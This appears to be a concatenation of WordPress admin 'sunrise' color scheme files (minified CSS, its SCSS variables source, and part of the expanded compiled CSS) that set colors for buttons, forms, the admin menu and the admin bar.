body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#dd823b;box-shadow:0 0 0 1px #dd823b}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#dd823b;color:#262a2e;box-shadow:inset 0 2px 5px -3px #dd823b}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#dd823b;border-color:#dd823b}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#c36922;color:#c36922}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#e59e66;color:#98511a;box-shadow:0 0 0 1px #e59e66}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#dd823b;border-color:#dd823b;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#df8a48;border-color:#db7a2e;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #dd823b}.wp-core-ui .button-primary:active{background:#d97426;border-color:#d97426;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#dd823b;color:#fff;border-color:#ad5d1e;box-shadow:inset 0 2px 5px -3px #150b04}.wp-core-ui .button-group>.button.active{border-color:#dd823b}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#cf4944}.wp-core-ui .wp-ui-text-primary{color:#cf4944}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#dd823b}.wp-core-ui .wp-ui-text-highlight{color:#dd823b}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#ccaf0b}.wp-core-ui .wp-ui-text-notification{color:#ccaf0b}.wp-core-ui .wp-ui-text-icon{color:hsl(2.1582733813,7%,95%)}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #dd823b;color:#dd823b}.wrap .page-title-action:hover{color:#c36922;border-color:#c36922}.wrap .page-title-action:focus{border-color:#e59e66;color:#98511a;box-shadow:0 0 0 1px #e59e66}.view-switch a.current:before{color:#cf4944}.view-switch a:hover:before{color:#ccaf0b}#adminmenu,#adminmenuback,#adminmenuwrap{background:#cf4944}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(2.1582733813,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#dd823b}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#be3631}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#be3631}#adminmenu .wp-submenu .wp-submenu-head{color:#f1c8c7}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#f1c8c7}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#f7e3d3}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#f7e3d3}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#dd823b}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#ccaf0b}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#be3631}#collapse-button{color:hsl(2.1582733813,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#f7e3d3}#wpadminbar{color:#fff;background:#cf4944}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#f7e3d3;background:#be3631}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#f7e3d3}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#f7e3d3}#wpadminbar .menupop .ab-sub-wrapper{background:#be3631}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#cf6b67}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#f1c8c7}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(2.1582733813,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#f7e3d3}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#f7e3d3}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(2.1582733813,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#d66560}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#ccaf0b}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#b89e0a}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#d66560;background-color:#d66560}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#f7e3d3}#wpadminbar #wp-admin-bar-user-info .username{color:#f1c8c7}.wp-pointer .wp-pointer-content h3{background-color:#dd823b;border-color:#d97426}.wp-pointer .wp-pointer-content h3:before{color:#dd823b}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#dd823b}.media-item .bar,.media-progress-bar div{background-color:#dd823b}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #dd823b}.attachment.details .check{background-color:#dd823b;box-shadow:0 0 0 1px #fff,0 0 0 2px #dd823b}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #dd823b}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#dd823b}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#dd823b}.theme-filter.current,.theme-section.current{border-bottom-color:#cf4944}body.more-filters-opened .more-filters{color:#fff;background-color:#cf4944}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#dd823b;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#dd823b;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #e59e66,0 0 2px 1px #dd823b}div#wp-responsive-toggle a:before{color:hsl(2.1582733813,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#dd823b}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#be3631}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(2.1582733813,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#dd823b}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#dd823b}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#dd823b}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#dd823b}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #e59e66,0 0 2px 1px #dd823b}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#dd823b;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#dd823b}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#dd823b;border-style:solid;box-shadow:0 0 0 1px #dd823b;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#dd823b}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#dd823b}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #e59e66,0 0 2px 1px #dd823b}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#dd823b;color:#0073aa}$scheme-name: "sunrise";
$base-color: #cf4944;
$highlight-color: #dd823b;
$notification-color: #ccaf0b;
$menu-submenu-focus-text: lighten( $highlight-color, 35% );

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #dd823b;
  box-shadow: 0 0 0 1px #dd823b;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #dd823b;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #dd823b;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #dd823b;
  border-color: #dd823b;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #c36922;
  color: #c36922;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #e59e66;
  color: #98511a;
  box-shadow: 0 0 0 1px #e59e66;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #dd823b;
  border-color: #dd823b;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #df8a48;
  border-color: #db7a2e;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #dd823b;
}
.wp-core-ui .button-primary:active {
  background: #d97426;
  border-color: #d97426;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #dd823b;
  color: #fff;
  border-color: #ad5d1e;
  box-shadow: inset 0 2px 5px -3px #150b04;
}
.wp-core-ui .button-group > .button.active {
  border-color: #dd823b;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #cf4944;
}
.wp-core-ui .wp-ui-text-primary {
  color: #cf4944;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #dd823b;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #dd823b;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #ccaf0b;
}
.wp-core-ui .wp-ui-text-notification {
  color: #ccaf0b;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(2.1582733813, 7%, 95%);
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #dd823b;
  color: #dd823b;
}

.wrap .page-title-action:hover {
  color: #c36922;
  border-color: #c36922;
}

.wrap .page-title-action:focus {
  border-color: #e59e66;
  color: #98511a;
  box-shadow: 0 0 0 1px #e59e66;
}

.view-switch a.current:before {
  color: #cf4944;
}

.view-switch a:hover:before {
  color: #ccaf0b;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #cf4944;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(2.1582733813, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #dd823b;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #be3631;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #be3631;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #f1c8c7;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #f1c8c7;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #f7e3d3;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #f7e3d3;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #dd823b;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #ccaf0b;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #be3631;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(2.1582733813, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #f7e3d3;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #cf4944;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(2.1582733813, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #f7e3d3;
  background: #be3631;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #f7e3d3;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #f7e3d3;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #be3631;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #cf6b67;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #f1c8c7;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: hsl(2.1582733813, 7%, 95%);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
